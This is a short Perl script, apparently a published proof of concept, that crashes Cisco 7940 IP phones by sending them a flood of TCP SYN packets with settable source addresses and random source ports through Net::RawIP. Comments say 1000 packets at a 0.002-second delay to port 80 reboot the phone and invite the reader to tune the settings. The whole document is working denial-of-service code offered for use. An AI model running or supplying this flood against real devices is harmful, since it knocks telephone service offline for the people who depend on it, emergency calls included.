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#!/usr/bin/perl # This is made for trashing cisco 7940 ip phones. kokanin made/discovered this. # A packetcount of 1000 and a packetdelay of 0.002 sent to port 80 makes my # phone reboot - play with the settings and stuff. PRIVATE PRIVATE PRIVATE!!! use Net::RawIP; use Time::HiRes; $pkt = new Net::RawIP; die "Usage $0 <src> <dst> <target port> <number of pkts> <packet delay>" unless ($ARGV[4]); $pkt->set({ ip => { saddr => $ARGV[0], daddr => $ARGV[1] }, tcp=> { dest => $ARGV[2], syn => 1, seq => 0, ack => 0} }); for(1..$ARGV[3]){ $pkt->set({tcp=>{source=>int(rand(65535))}});Time::HiRes::sleep($ARGV[4]); $pkt->send; };
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